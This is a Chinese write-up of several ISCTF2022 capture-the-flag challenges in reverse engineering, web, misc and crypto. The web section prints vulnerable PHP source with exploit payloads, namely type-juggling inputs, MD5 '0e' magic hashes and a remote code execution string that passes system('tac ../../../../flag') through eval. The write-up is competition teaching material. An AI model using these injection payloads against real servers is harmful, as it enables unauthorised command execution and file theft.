re
SigninReverse
shift + f12/view - 查看查找字符串得到flag
base64
拖入IDA进入字符串,发现一串base64编码,并且有strcmp函数,盲猜变异的base加密CyberChef
直接解密即可
开摆re
exp,直接得到flag
v8 = 'isctfajzu'
Str2 = '123456789'
flag = []
for i in range(len(Str2)):
flag.append( chr(ord(Str2[i]) ^ ord(v8[i])))
print("".join(flag))
web
EASY-PHP01
查看源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>web签到</title>
</head>
<body>
<!--给我一个hint,我给你一个hint-->
<!--?hint -->
什么是GET?
随便传一个hint,得到一个新的网页
?php
include "./flag114514.php";
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
if (isset($_POST['ISCTF'])) {
$ISCTF = $_POST['ISCTF'];
if($ISCTF == 114514){
if($ISCTF === "114514"){
echo "好臭啊";
}else{
echo $flag;
}
}else{
echo "= == === != !==";
}
}else{
echo "什么是POST?";
}
}else{
echo " 什么是GET?";
}
分析源码,发现要post传参,payload:ISCTF=114514a
EASY-PHP02
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{need_time_to_change}";
include_once("config.php");
$YOUR_NAME = $_GET["NAME"];
$GET1 = $_POST["GET1"];
$GET2 = $_POST["GET2"];
$POST1 = $_GET["P0ST1"];
$POST2 = $_GET["P0ST2"];
if (isset($YOUR_NAME)){
echo $YOUR_NAME.",请开始你的答题。"."<br>";
}
else{
echo "做题前请告诉我你是小蓝鲨吗?";
exit();
}
if (is_numeric($POST1)){
if ($_GET["P0ST1"] != $_GET["P0ST2"]){
if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){
$f1=$flag1;
echo "小蓝鲨成功一半".$f1;
}
}
}
if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
else{
if( $GET1 == 0 ){
echo "<br>"."前面的出来了吗?";
if(is_numeric($GET2)){
exit();
}
if($GET2 > 678){
echo "答案就在眼前?"."<br>".$YOUR_NAME.",你觉得这是flag吗?"."<br>";
$Ag=base64_encode($flag2);
}
}
}
$flag666 = $f1.$Ag;
echo $flag666;
?>
做题前请告诉我你是小蓝鲨吗?
is_numeric()判断是否为数字或者数字串
preg_match()正则匹配
所以payload
GET
?NAME=1&P0ST1=0e545993274517709034328855841020&P0ST2=s878926199a
POST
GET1=0e545993274517709034328855841020&GET2=679A
然后对得出来的flag分别进行base16和base64解密。
simplephp
<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);
$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
if(preg_match($pattern,$str,$arr))
{
echo "good try!";
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
echo "come on!!!";
if($num=='36'&isset($_GET['cmd'])){
eval($_GET['cmd']);
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
}
is_numeric()判断是否为数字或者数字串
preg_match()正则匹配
eval() 函数把字符串按照 PHP 代码来计算。
payload
?str=333\\\\\\\\/Ilikeisctf&num=%0c36&cmd=echo%20system(%27tac%20../../../../flag%27);
FakeWeb
根据题目:好快!你能看出来这是个假的页面吗?尝试抓包放包,拿到flag。
misc
Welcome To ISCTF2022
签到即可
简单社工
谷歌识图,对比图片,发现图片的大致位置在台湾省高雄市,搜索高雄捷运。得到路线是红线,运行区间是小港到岗山,接着对比发车时间表,找到具体位置巨蛋站,将具体位置进行md5加密拿到flag。
KFC疯狂星期四
打开文件,没有密码提示,托到010查看二进制文件
504B03041400
504B01021400
,后四位全局加密位,发现被更改,伪加密更改标记位得到图片
发现其位置背裁剪,或者脚本CRC检验,得到原来的宽和高
得到另一个文件加密密码,看的不是很清楚,通道观察即可;
如下
输入密码得到flag 。
可爱的emoji
根据提示对文件进行爆破,发现是emoji编码,根据提示,掩码爆破得到密码为:KEYISAES
在线emoji-aes加密解密,密码AES解密,上面还高级旋转9,得到flag
捕风的魔女
题中给的图片发现不认识,谷歌识图发现是提瓦特文字和魔女解密,一个一个的对着写拿到了flag。
CRYPTO
这是什么古典玩意
part1用到了base64和base32解密,part2使用hex转str和 unicode转码,part3是猪圈解密
拿到完整flag。
呜呜呜我的md5脏了
默认数字串,生成文件后crtl+f搜索与原md5对比即可。
import hashlib
s = '1234567890'
# ps = [i for i in range(len(s))]
with open('md6.txt', 'w') as f:
print('正在写入。。。')
for i in range(len(s)):
for j in range(len(s)):
for k in range(len(s)):
for l in range(len(s)):
for r in range(len(s)):
for m in range(len(s)):
for n in range(len(s)):
md5 = hashlib.md5(('ISCTF{md5_is_11' + s[i] + s[j] + '1' + s[k] + s[l] + '8' + s[r] + s[m] + s[
n]+'}').encode()).hexdigest() + '\n'
f.write(md5)
print('写入完成。')